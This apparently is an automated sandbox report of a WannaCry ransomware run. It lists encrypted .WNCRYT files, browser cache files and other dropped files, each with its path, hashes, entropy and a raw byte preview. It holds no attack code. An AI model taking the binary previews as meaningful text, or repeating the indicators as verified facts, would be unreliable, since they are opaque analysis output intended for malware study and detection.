                                    Preview:WANACRY!....Dk[^.rX,.c.,..]3....`G.$.. ....~...#....W.* ..HC..2.Y.;.O....+.,.y..\.wW.Mc.bJ.@..?.n....{..u.......f:.N......^|..d.].....].6.>..!..Z]\._...mD..O.}....NQ.]...D.CZ..,.@......+..4.M....m........1..H.]J(Z.i9....h_...R}............. ..c....2...Q.............\g......t.].......3 ..@c.4....WbBKK.] .vH]-.3......c...x[2..&.p...>.X...7.I..D....|1......{..sr.).k...u].r.....n....U ....J{.vLSh....6.W.1..V..$.....%......U..&.:....M-...|.......+P.Z.....K.....jJ.2UE.*(...(.Kp...r...8..IT-. 4.T.w.R.............4'...!..... ...oiKQ2...a...U.{...>.4..[f......t...VE&.....x........A..4s..UU+A.>.Iz..:...IO.Y.r~H....3.I.....!....2.PAU.................vxv..=j..,qY.P.d......Ev..'..7...U3.....AR....;d....P....3x...h..V.u.x-..y...eY......>W......=...?Bq.].G.^.6.k.....Ud....4~...l.Bm.E._..s .[`)f......:,dCP.....+.y..94#..%.......w...S......].o.......b........A....J".S.. .s..p.......e..f......D.6..7.\6.K.pX78.9X.}.O...D.#.**d.C.j7.........s...{...D.........

                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\k1[1].rar

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    File Type:ASCII text
                                    Category:dropped
                                    Size (bytes):4
                                    Entropy (8bit):1.5
                                    Encrypted:false
                                    SSDEEP:3:Nv:9
                                    MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                    SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                    SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                    SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                    Malicious:false
                                    Preview:foo.

                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\k2[1].rar

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    File Type:ASCII text
                                    Category:dropped
                                    Size (bytes):4
                                    Entropy (8bit):1.5
                                    Encrypted:false
                                    SSDEEP:3:Nv:9
                                    MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                    SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                    SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                    SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                    Malicious:false
                                    Preview:foo.

                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\k3[1].rar

                                    Download File
                                    Process:C:\Users\user\AppData\Local\Temp\wBQInv.exe
                                    File Type:ASCII text
                                    Category:dropped
                                    Size (bytes):4
                                    Entropy (8bit):1.5
                                    Encrypted:false
                                    SSDEEP:3:Nv:9
                                    MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                    SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                    SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                    SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                    Malicious:false
                                    Preview:foo.

                                    C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1048856
                                    Entropy (8bit):7.99982635424151
                                    Encrypted:true
                                    SSDEEP:24576:6MH67J+fb0IwfrwNRGA5tLIjnjZx5+J0alSBa3fMR9Y97mOskyFXnvkI:6b4CrwNRGAkjn1xE2aYpRyVNyOI
                                    MD5:2C43DAEC1E3C3B5D38403D638FEDED42
                                    SHA1:87750A1DBC3349E1AEFBB914714AABCEE41C0313
                                    SHA-256:92069A83193B6278E876673BD737B61EF7228982C9FABBBFBF5EF979400855A1
                                    SHA-512:284B46387F077C5AE2BCE6A85682C2225AD5F6978559C83E9D7E84CB124A83C415B9B9046B8AE19C566649A7E11183625FAE16A8377D1DB6BE7A87994CFA76F8
                                    Malicious:true
                                    Preview:WANACRY!....0.!.xA{.L..-....BG9...3..>.Q.@-...&.b...+)..p.R...J...;..vMy...n......f...S.KwM.i..`..]...1q.@...m.C;.....&J....#.27.J..5../;..2.Z......!.."..l}.v..K.>p}..r...?.b7...?....O..l.....>S'...&.x.r..|..X..]O..s$7....~v.|B.f.....P...I......Z.....7.^PL...............P..`......R&..DWV....M...?b....^....6I....Y.a>(7q}..U.5....... .h..f..)./..7.......UI....:.+......7.f..SF..=.#....'.X.V..DpG..C.....'..1[T..>......u...eA.....D.4:.:....9d..VJlQ...a.&.n.....4.jU?.;.Z.....].....A......N..:EC1.f2P...`.1b..e..R..]V....T..Q|X.&...9@...B..]:......M.{..G.......1..^x.E...>.\.}GFz....h...=.QtU.D..".%$....3..)...._*.23..)xe..n....p...J..;..O6.._.....+..=....c*...6}.C.S2=....@x.#..!..7C.t.=.>.XR~.s..._.9n..1&..:k5t...K...."|....y..O.p<....3.]...V.My3U.d.C..A.......g.RR..zw.[.C...g.g.-....M...x...D.....'<.....dQ..h. ...{....BY.}TA`.AwuQ....v...=ck.....GT4.6A..Y&.'...X.3.3._^B.k{..8o..{....A...xs=....A8.P.N...;....a..(..S...f..-.(..f|.....a..K....#..g%..3j..

                                    C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk

                                    Download File
                                    Process:C:\Windows\System32\dllhost.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):8192
                                    Entropy (8bit):0.6785130725630784
                                    Encrypted:false
                                    SSDEEP:24:08bYeV/bYeVvIU3cizm8bYeV/bYeVvIU3ciz:08bDxbDWU3ciC8bDxbDWU3ci
                                    MD5:66014E0ACD9F5AD3840889A14E5514C4
                                    SHA1:7F63D57FF49026267545FAEBF55D41E4DB29997D
                                    SHA-256:7B4A482EA2015B2CB68100EAEAFB418ADBF9B442F1CA7DBF0F887A93434A9D04
                                    SHA-512:5F4AA84D461B1F40CA149B5AE519217F1A884BA2F6DBCF63DD33FBC61AF15FC402256814679B6E73977E8D25615ECCB9C333CF4BED3318105060343B8D243E84
                                    Malicious:false
                                    Preview:.p.|..........-.....:.I..(...{..................C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\.........................................................................................................................................................................................................C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\..........................................................................................................................................................................................................0u.............................................................................-............................. ..........P.......h.%.......#......./..(...{..................C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.W.e.b.C.a.c.h.e.\.W.e.b.C.a.c.h.e.V.0.1...d.a.t............................................................................................................

                                    C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.log

                                    Download File
                                    Process:C:\Windows\System32\dllhost.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):524288
                                    Entropy (8bit):2.2536852399377545
                                    Encrypted:false
                                    SSDEEP:1536:fxv7Cfw/1p+bv6bohNWXx7SY1ihhdePWkAWcKcUfEbb4QO4Xut0b7hX:fxAKaeoe7SYsdePWkAWXcbbU4ut0bl
                                    MD5:5A3F47A075030C189169A936E27D3239
                                    SHA1:04EBA0950086A0AB7308F6E6372E40FCFE442196
                                    SHA-256:26A612D75A0D82D95391704ED701C7A90B8916CD6993177E6C033E4A2AEC42BD
                                    SHA-512:15005A390E09E188C4C4A879F6FA386C5EA87CCA8FA9B595696E1E70AA73899BED2BD69FC558014FE6B689CFC94A305D36A924A84F33B0AC07DE8709A92BE31F
                                    Malicious:false
                                    Preview:..E.............93...{a..2...{+.........<...:.I..(...{..................C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\.........................................................................................................................................................................................................C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\..........................................................................................................................................................................................................0u.............................................$..........V...".".#......... ..g.......P.......h.%.......#......./..(...{..................C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.W.e.b.C.a.c.h.e.\.W.e.b.C.a.c.h.e.V.0.1...d.a.t....................................................................................................................

                                    C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat

                                    Download File
                                    Process:C:\Windows\System32\dllhost.exe
                                    File Type:Extensible storage engine DataBase, version 0x620, checksum 0xb16216c6, page size 32768, Windows version 10.0
                                    Category:dropped
                                    Size (bytes):15728640
                                    Entropy (8bit):0.9205263800834276
                                    Encrypted:false
                                    SSDEEP:6144:Q9QhQEUUMBPPpBPJmNjfiEWC7WswQpWK/qZCCkxpu514dCVZ3L9yqXx4SU8GxJHL:in/cj5tND5ApBK4K
                                    MD5:569719984791970C25842F8FFA13899E
                                    SHA1:DD0C7BC52FB441FB2A2F0D2F9B3209C1E2B26CF6
                                    SHA-256:0CF2320D815E45A8330EBB6E6175FA94371BBE0D98666523A891A8F0E03F5001
                                    SHA-512:1D5606CB2B9B23700A4AD9EA37B8F704D0A1AD4E815201904BA5AAD00914D84C44894075ACDBE72246AAB88F0277AB6CF81B931EAC1288DD73447DBDEFCEAF14
                                    Malicious:false
                                    Preview:.b..... ................./..(...{........................,......3...|...2...|_.h.(......3...|....,.........:.I..(...{..............................................................................................Q...........eJ......n........................................................................................................... ............................................................................................................................................................................................................2...|..................................o.7..3...|..................h..}.3...|...........................#........,.....................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm

                                    Download File
                                    Process:C:\Windows\System32\dllhost.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):16384
                                    Entropy (8bit):0.12226688249654363
                                    Encrypted:false
                                    SSDEEP:6:flozs7n211sy86p1481FltB11ApfHlwaAA3VuP83JCD/+:Nozsy1yy1zx1Fl71AiTAsi
                                    MD5:1BC0BC6B6E83D78E69C2CC14A4DC75E6
                                    SHA1:AB70BF541622329EE3508EA2D90D0A579E120BCE
                                    SHA-256:3113B9462E474E8F8AB395938FA1FA9CC1BC583A29DFFA8B4CB7E4389D63E5DA
                                    SHA-512:3D25F1562184527A9799A3469AD892821633E992A9E618FD73F3341146B1B6F152DAA3CC841CAC68B0EA73A2486C20A45C13379888014845AD069CBC5656D1C8
                                    Malicious:false
                                    Preview:^i.e.....................................(...{...2...|_..3...|...........2...|...3...|...b[..3...|. ................h..}.3...|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                    C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\X98HJ34F\hero-image-desktop-f6720a4145[1].jpg.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):138488
                                    Entropy (8bit):7.998632857254041
                                    Encrypted:true
                                    SSDEEP:3072:WgN/jVll15oQuQ7byLCj2P6UA5xFXFX0NV7Q/O8n+hfOhTIZN/EGUFE4:WgNbVvo47bYCyP6UEZQk/O8n+hfOERuj
                                    MD5:B5C7E28AE19FAAD77D10DEDD5CAE4549
                                    SHA1:51EC0E7E75C519C5EAA0998A3880873E7D540CFB
                                    SHA-256:9AC8AA7533DA251A37F9004F1D18FB8C8687E514B277F2ABAEE6F7C9143720CC
                                    SHA-512:674436FF9011B15918583D4F8D8F8F9223E6043D7AACEAF22A4831A07785169155581051A0FC60526372E913F834434A2F2F8BCF4A0A83EA5E6F4A4E46CB0248
                                    Malicious:true
                                    Preview:WANACRY!.....0Z.. .....q(.A..;......($...\.v{8......|...g..!.(.SF...g....8P.a.p.=...[.F..b.V..... .dq....fO.....{..dM.r....W7.v...X.Z.X..B(...<.w<Q.C.U.W....t.U......G.>^F.H8..^.".#.&0A.....z./j@......U[.v..{..oI...P`Q.A.E.......5.q.+.*]`p...Ni*. mw{.............e`.7L..*...@......!..TW.".E........Z.!.mc.A.z..e:s.3xe"G......E......c....u...O!...w.~@.]#2.........$u....:....n..Y.....]....t.'l......3..nz.r...d.....#.)$..w..f.2a...M..4.....#.gt.*..6...%..f.x..7.....].w)Dw.P./.K"...."Z...k;W..4.{p..)..O"...h...].L.F.p...X./M.f.....#..`!."....#<.....B..F.|.!.N]:7...0=.h....5X...f<..?..4..z...u...`.Dd1..39:v.C.|?;...4V!{A...U.*.......=....t.t.4YnuP...8....X"..:..".".C!....d..V=9.}..d.=..d.e..[vb..]..'.....H..........h$...U.}........3..E.Wd..0.r.uY.H.7....:N .x.^..d.>..#...}e_..\N.5..Mfw"O.Y......e..O..P.....h..<....F.I......J.....0.M>a..y| ....ui...^.k..K..a(.^..<.._#..%..L).uq.G~./...]I4l.......vo.>w.g....].R...aD...<.v.1...a.xMFmPh..UR.C...

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{4d14c23e-7ce9-42c1-9a52-20871828d127}\0.0.filtertrie.intermediate.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):37768
                                    Entropy (8bit):7.994731333086326
                                    Encrypted:true
                                    SSDEEP:768:GOkBWMvZPqXHNGm+xZG3cO2Y7ITc0N80DeMQhP7qH/dskUW7up4kgd:zYDPqXHCen7Sc0N8WqmH/HUM1xd
                                    MD5:0190C1CFE4EC45600257CD6C7FD19815
                                    SHA1:B6F6CC2FF4871F43DFB931C9C7393D1ABCBCB7B9
                                    SHA-256:6E3BB7FF5E239D6E3C9FBBACFC6AC8C2E4FD3BD034F62CA24D900501185DC63C
                                    SHA-512:DE7FAA7BE8AFCD4D0674C0391D1E57016F73F4F03AC5C94F47105F414B5E0436478A5DAB46A96EF56036C3C8C844932747D58DD518F1FA66DFAF24F1E24982BB
                                    Malicious:true
                                    Preview:WANACRY!......qq.....T)..U..H..?.BzE.:......F........O'T..^B3.A.(G-.FY.L.......8c.<g....).....sX..d5 $B..c...#.O..Shh..v(....c.\ .b.j<...7V|*5r...........sHw.mB."..........v..\fl.z.[!..VR.e.I.\.D."NH...H.. B....k.=Gu<..m....LQ.[:.h02.[;~........)./.....m.....f.......rN(]...n....m...u^.....W.eNJ.;..E...Zc|Q.?..~A.L)..T...E.zJ......hZ.uU.8.3w.A...D*I=cn6F;.H<.=.....b...z..c.+.W.E..\2.i'.LW..-.!g9_......;.../...G...L.<.(O....8x<i...A..H!....*......k.N2.M.3..VO.ikhKK..C=.Q....g%u...&..t..N]... h.<..a..~=?8S`...A..U.b(.!.y...7.A.~..*.l....z.....:.H.^..e^`.~...W;...}.P..._.........0.7./.b...c.x...G2cLN....c..:..5..(..a....K..D..i.....G...f........z4.<C..k..zE|.......B.T...(.5qy..wF.#6$..!0..w..+..7....k...p.8.6{Iu,..L-.... ..9.....5..H...<.U..%.^f..B..D.>...)........)#../A.3{f.s....M.[r%k..#Z.B...T.U... u.V.RVA....Xw......3.|......@l..U...?.*............*...d.F.. W.#Y.....]XE.QW.D#.6$......tF.LZ.c.>....u..l.NDyuNK..pP.oxT..........r?.'...4..!...

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{65911048-9234-4059-8bb1-0549c23de5a1}\0.0.filtertrie.intermediate.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):37768
                                    Entropy (8bit):7.994879535139828
                                    Encrypted:true
                                    SSDEEP:768:ujY09bipMtqAkyLTFsmRpO4kanzlkfW4IX07lKYEZ:309G2ktATfE4kaz+SXRYY
                                    MD5:0AC32D3B35AB9B88764BB94AFC6667A6
                                    SHA1:A065EB37FEF0873381D49419FEB4C10B9EB03A3E
                                    SHA-256:303B42C8368F7C951A6B54171F95D62224680197B85741CB649F0E1E3D5CABDD
                                    SHA-512:0E2DAD663AA1B59988F9F6ED10483DD375104675E3CA90AA3296880DCAF96A341F34ABDAB6C139D6F4ABB595E6B3943540308722CE623C64688DA70EE5878C86
                                    Malicious:true
                                    Preview:WANACRY!......@gR`.........`.9.....\......,..<*...%..o3"..U.ER.VAN+..m......,W.>s..?....$.v.%x^G...h..3.JJ..#$.........|~...E..[xo..i.._...gD%..Xc.i.{'.....J..=E<.c.Un.........$&......C.c..41_Y1j...2W..hK~Ht.*...o..?.8.t......I..m.R.?'.*.8...|.......f........0.f.e.+B.\.zM.1..\.hm.......%.'...c!y....3.$F.t....[l....IV.&....S....}3........H,.;..&.k.L...=..*GF<B.........C.U.T...1FyK.a.J=`.5..:./.#=OE.2(..G..[kn.......].c....G[.&C..V. .......\.8d.u.NYm........!......X...\.Pz."..WV.A.t....... .X...%7+..x(.......A.J....P..^...-.(AP.*B.A3....%.z.k.e....... ...s...RM.`...D....;$....-i...|a..8. ..CP.M.X{3.)M.>./F6,..._.^..._&.yv.._...E........T,.._....u..Xk#.:..&.D..j( &..T{XO........q..*.:.....O.V..........{.gsq..K../....ZND.....`.Y...d........i...l,.h_...f.N{BA.S...F.,.$..Vg....j8.A..knQh/..$i...I/....O5.........]^n0..M._E..:.Bw<.<s......<.@.6q..........U. ...*'..7.q*k...!...8.PY.1..D."Dh.!.{Q.d.....F....7....H..u.p..q^...-8%62

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{6c5c99b8-fa5e-49d0-8af3-659a6305e839}\0.0.filtertrie.intermediate.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):37768
                                    Entropy (8bit):7.994987387382847
                                    Encrypted:true
                                    SSDEEP:768:aGesuHM+mEEb7Bi2afG/CoB1KkznwxzeaxTN1W+snKpkhuw+lRx:aGesuHJmEEbd0zoHRda7I+cqkgH
                                    MD5:F0738136C8F0E5ACB1CDC15D3C107C56
                                    SHA1:907CE7CF7CA1A643A10FCD06DD8B99E599791DC4
                                    SHA-256:A8F1F437E6C7CE074EE9E3BB0FE5AA45DB14C138160ABF04D76E69C0264C1BD9
                                    SHA-512:0F0C176EBBFCC62D9BD84DE2BD3CB49D4DF710D082109925AB5A4C62DE590F34D0CDAF13D0BB5D000F6247AE2C6BE6275E1EFDA1F4D1C0098668BD1708EEDED9
                                    Malicious:true
                                    Preview:WANACRY!....... ..i....tWG..N]...'.m........*.H..cx....GP.E..,k._).].(N....!....L..~. .#.A.....O.|$..(....X....N.J8`....c..[;........"){......!....u.@....cmg.&....K...N...\v....D...d..m.d..Q...7'........x.....j.L..o...."..g^.\n......0t=.SQ3.UX.;.*.[z&....f...........Y..1.SP.j..f.-.`(.,......x.t...s..tU..%.?=.L...D...'9*.s....~..#.<.U..g .X.]..4._....h....}...3e.]cl.....y..".!.@.!5..$....Z...-...1N.../ Rc.,....2.cL..YvU...'..v...a..,..6......l..E.}(........z.......%*QQ........K..4...~.3...H%..y..=.....^%..E....SR....f...[9..5..uo>Z...s..G`....*Gz...N.....E/\..]...}Ip.}..0..IOW=..W.('..4w......a...<bKn....C.%m..ha.#.L4....v.~u..;.4.L....R.t...&....GT....T.....a.k..V.T.s0.....Iv.z.......X.......c..xk_O...o~......J.a^.}z.\.m...:....cz.{qhVc..!..@..9..>....V.......d..>..8..u...a..2.l_X... ...*..&+....EN.d.$.2..)J.._.k$...MM&+....s...>.,,..$..XV[..V7w!.......V*.K..d.D.'r........Z..&a..._.a.m.......'.[>3.,....2;.J.....O.......z)/@8_.........

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{9a386491-5394-47a0-a408-e4e3a9d60139}\0.0.filtertrie.intermediate.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):37768
                                    Entropy (8bit):7.994765702409487
                                    Encrypted:true
                                    SSDEEP:768:eZx0gaA9WnoHzh0dbVKMUQ/Lz0UIOF9hWfAshsFKxpm0EPj86iDgzxkmfwfnB:eZagKw90nKMtqgEhsgxAPtWWxbYfB
                                    MD5:D641E69EDDC9903EAA6FB3B523F5578C
                                    SHA1:FEE01186470CA1E719ED3D4506BA457983A58AAC
                                    SHA-256:3864CF55EDD1B107E2682C70EF0926D0ABED939743EF470F2EBED23675AAC5F6
                                    SHA-512:F36F8F5A116EDEC8783B121F4672FF626B1D8BFB8123510718FF547BD54CC1E5B27D6E0284644A6FD62C489B8A7ECE1D31CF8BB36BBE8B4C647A29128D9CEDD8
                                    Malicious:true
                                    Preview:WANACRY!....>....^.d.f...?.R..u...7...hl.z.ULQ_e'..sy.......UJJ.>.uD>.}.M......:.6_..a........6g...G.,.I.;<i..;y...b.Q.f.t.C.i...>..].....d.Ge.....3....lf..2.u."..(.....t..]n..V.w.....'..M......0.I% Ro...69(&.-jBk;....s..B[p..d......T.V....[.....ch....j....f.........]...w...@...:c.VL..x....X.8zE?.\G..C;..)....5"..."5....YH...NMH..._Y.._wT....h.]..'.u...."..jP.... .....V2).n45........0Sb.H.X....8..3..^G..03.P>Z1<=i...?... A...4..'vnI...j..O.w#-.!..y.n2..+..k.C....9...Y....|.f.....[.:.../[...c..b...'...f.B,.]8..V...0Q.......*....WlB.J.p.@.........T.6...)p..H.SM...~j.).........kC....EM.....4..9|r[..@.......g.j;d..2N.......&.o.F...e^.....x..<.|j....4.e.....).0.../...y7.J.......J)..........~..C...i.".D......w....jS...7I..z.j......g.b.x..-'.X..{...Q.zL..Z..$....P.J.S....\..3"n.q)....#h..?.....B0..i.$._..Z..SCp%B.......q..h..u..u.}Z.p.A..._.....j_..8... ...pV.>.%..W./...h....!.j.YI.j..J#.U.!;|t..o.5kxj.....S.. ...zj...M..2....BT.N.Y

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appsconversions.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):1426184
                                    Entropy (8bit):7.999874831572425
                                    Encrypted:true
                                    SSDEEP:24576:/kWhznwx9qlsrsN5NbXmG/lkZx6gNfp2mxGLPQc7Ca/DiRzLb0r:sAcxklVDNbXt/Ix6ypxmPQa/8Lbu
                                    MD5:A09EBD2D8746D369D8352109412CE1F0
                                    SHA1:1DFB69DEFDD08460FF8EB0DE6C2932ACE25F1D36
                                    SHA-256:3C6D356B08948F082357B05EE85B9B55ABE1D7532DAA413448EC9C4E15BA1B86
                                    SHA-512:2C7C4D8BE5A6BC9E2FFC5304E8FBC46AF6BEE6ADCBC7694506217E1D39372BACD5EAEB9E437BA08552B287A3C254ECCC3089838F80DD5EC079187414183987DD
                                    Malicious:true
                                    Preview:WANACRY!....^..V.M.K&...m..s2M$...B,.w...........8..dv?r...mt.zN...+..Dc..{..hL..3].P...B..<.S.5.Fd.....k6..pnG.(..2...a.....R..'..U7#....=1.`..A..uqV.d..r.C.}hW..`...=.g..,..vm.k.m.hw.r........v..N.g. ._.v\V..K.h....-5...u.Ij.L.=...4G'._dY9 ..... H...J...@................79k.Oxw...o....;..a.....tW.{.e..uTy..W).w..>+..H3...(?.d....5.....Q.....(.....~.....p.....?...^.t....@.w..m@x.:....-.J1.4......_....u...|U...-C...{...T....+&. <=r.6....>"...F..#.l.R.R.s.$....p._.X.Y..lF.L.{Nc.J.#t.i.0.f.......,l~N.....uo.;}(2}Pf.OF.O=..Ao.....44y'Pm#K......J.S..k...P.......>..ObY.S$5....i.{xd..%.Nvi....9.m...5`...8..T...._L...O./....]..,....JG..{.]..[.+.gJ......4{HK...j..N.L2>....+.S.*..)5.4E.g....D.\....I.e..Cx......S.....3n<b..k........I...w/3.iJ.P.G5P.W.'M.#(......<...`>.....O......)z...d.{...N.J..1.C'{..@...W[...B?......l....N*...-........Wx.....Az.%.`.(..XsD.....=.r...`.5...m...g...QsK&........F..&..~.p-.J..@=i...W*...5W.9.%}.-8.?...E.j.b.f36... ..m....R..

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appsglobals.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):352008
                                    Entropy (8bit):7.999439242547693
                                    Encrypted:true
                                    SSDEEP:6144:H95/Z0g3kJ7oRU2sFDU2ikDoUUXSmVqh+/qr8cqlsn0wm/EiHptQwqc5ZIew:H9Ag0MU2mxIZVqhUInRdidjw
                                    MD5:64DD46A425B7D443F1968DAA2BE01CDF
                                    SHA1:3DB08DE1C9F99FC01CFFDE89CA43DB8F86CEE829
                                    SHA-256:056532DC5B78522AA289BD4B64273C4753C86922F3E48A4B0FB3498602159033
                                    SHA-512:7D8370672FDE3D135B081275AB027B0E57A4DB4059E353DE35DB47A8EE885C81CD445C53586E294E7CB5FA0F78EDF9769D452EC18D226853A310841DC8F762D1
                                    Malicious:true
                                    Preview:WANACRY!....B.k.q.U..W.r.+.....G...&...9#...6v....*)..'.F...d..R`........m..EO-.u..c...S..7.l.....Iy?5d.!..rR.......'......,.....b :..W..Fy....D..r.c..OU1QL..Y.....o..q....}.=.Y..._......N.'.n..V..[.U..A.=..N..u.B.U....L`X<..|.v........_sc......Z...n...z.X.).....].........-..po..&g....;..... :..IU...O..0...S..&...<.@..2..[........%.ZC.c...p.xak1.B(........zD.....J.....8....|J\j...'.x.....3.pJ{.T..6.N...>.S..(Q.Q5..,,...U.^...9.k..1...C.?..W.;...y.~q....C....gEZ...T.I{.Q.....)Es.9.[.H{@.....m>.]...]....i..elp{.P.'...7H..Uy3....^.^...1..6...#...C.P....i..?Q.....*.j.....z/.`.....;=....Y....Q..L-...8si...y..^.1...^./d.n.ae...F.s....~tF.m...V@......_..{.y...Ap..l...eN;...n|.O...$.$..K..Z...$gea;.>;...~.......Z.Q[f..a...L.........H..)..3pw.....JX..i{.<...'....r.<.:?|.......~....Q..G.t"...Z.....cF...........2C.oUU03..!*J....bUO.2h..r..$.r}..-. ..Y...D.Q.2c.;].....*....eA..w.]..@,S.....e.....D..>.._....-.[f..e@Y...qXj...h..2.r..J*J..O.x.+

                                    C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{f2609905-bc23-4c47-8645-cbcf38bc7d2c}\appssynonyms.txt.WNCRYT

                                    Download File
                                    Process:C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
                                    File Type:data
                                    Category:dropped
                                    Size (bytes):243784
                                    Entropy (8bit):7.9991871943951836
                                    Encrypted:true
                                    SSDEEP:3072:3+QaTROT/D0aeCDge/ZZ64FrIJvbyg5Wlvmk8XM8d+oODtPoUmtYrsX5/bzL+z7x:uJTkT/D0pslBF0zWN8j+dDe/ec6aFsIU
                                    MD5:769EBAB4889E453656DDE54C6A84044E
                                    SHA1:CE59DBA8FED5C2E376D8A0309D2F04B666C96B23
                                    SHA-256:15FD3CF0AB548465C871E0C10AF056CFB4DA736B6CE9DA8D1D2E9AAFD34AC1B5
                                    SHA-512:9C4FFB97507CAD3F480000998E975C0BA0BB5A8BF16E0B06B4397F78CFA061C400773981A077C0CAD0734D1548A94F3281A230ACE88AE1D6BC9E27539F2C9B23
                                    Malicious:true
